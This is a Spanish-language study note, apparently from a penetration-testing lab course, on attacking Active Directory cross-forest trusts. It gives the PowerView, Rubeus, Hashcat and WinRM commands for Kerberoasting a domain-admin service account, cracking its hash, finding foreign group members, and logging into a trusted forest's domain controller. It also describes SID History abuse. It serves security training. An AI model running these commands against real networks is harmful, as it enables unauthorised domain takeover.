Attacking Domain Trusts — Cross-Forest Trust Abuse (Windows)

Escenario

Se exploran ataques cross-forest cuando existe un inbound o bidirectional trust entre dos dominios/forests.
El objetivo es obtener acceso administrativo en un dominio externo aprovechando SPNs, Kerberoasting, contraseñas reutilizadas, miembros de grupos extranjeros y SID History.


🔑 1. Enumerar cuentas con SPNs (Kerberoasting)

PowerView permite listar cuentas con SPN en un dominio remoto:

Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

Ejemplo de salida:

{5B6BC7CA-7B40-435B-A033-16312086D031}.png

Tip

Una cuenta con SPN puede ser Kerberoastable.
Si pertenece a Domain Admins, obtener su hash permite control total sobre el dominio.


🔍 Verificar membresía del usuario con SPN

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof

Salida:

{47877A88-1F10-4414-BA32-F551403DEEC7}.png

Pertenece a Domain Admins


🛠️ 2. Kerberoasting cross-forest con Rubeus

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

Salida relevante:
Pasted image 20251121095449.png

Tip

El hash obtenido puede ser crackeado offline con Hashcat para acceder a la cuenta administrativa.

Crackear el Hash

hashcat -m 13100 mssqlsvc_hash.txt /usr/share/wordlists/rockyou.txt

Pasted image 20251121095736.png


🔄 3. Contraseñas reutilizadas & membresía de grupos

Observaciones frecuentes en entornos corporativos:

  • Bidirectional trust con admins de la misma compañía.

  • Contraseñas repetidas entre dominios A y B.

  • Admins de dominio A como miembros de Administrators o grupos de dominio local en B.

🔎 Enumerar miembros extranjeros en grupos

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Salida:

GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGISTICS,DC=LOCAL

Convertir SID a nombre:

Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

Resultado:

INLANEFREIGHT\administrator


🖥️ Conectar vía WinRM a DC del dominio externo

Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

Verificación:

whoami

Salida:

inlanefreight\administrator

Éxito

Hemos autenticado a un DC en FREIGHTLOGISTICS usando la cuenta Administrador de INLANEFREIGHT gracias al bidirectional forest trust.


🧬 4. SID History Abuse — Cross-Forest

Concepto

Si un usuario es migrado entre forests y no se habilita SID filtering, puede mantener privilegios del forest original.

Ejemplo:

flowchart TD
    A[INLANEFREIGHT.LOCAL] -->|Forest Trust| B[CORP.LOCAL]
    A --> C[jjones - Admin]
    C --> D[SID History migrado a CORP.LOCAL]
    D --> B
    B --> E[jjones mantiene privilegios Admin en INLANEFREIGHT.LOCAL]
Tip

SID History abuse permite mantener privilegios entre forests sin necesidad de contraseñas.


🌐 Resumen de ataques cross-forest

Ataque Herramienta Requisito Impacto
Kerberoasting Rubeus SPN en dominio externo Hash crack → acceso Admin
Contraseña reutilizada PowerView / manual Mismo usuario en ambos dominios Acceso Admin instantáneo
Grupo extranjero PowerView Usuario Admin en otro forest Acceso a recursos via grupos
SID History abuse Manual / scripts SID no filtrada Mantener privilegios cross-forest

🔜 Próximos pasos

Siguiente módulo:

Ataques cross-forest desde Linux.
Incluye técnicas similares usando Impacket, enumeración de trusts y escalada de privilegios.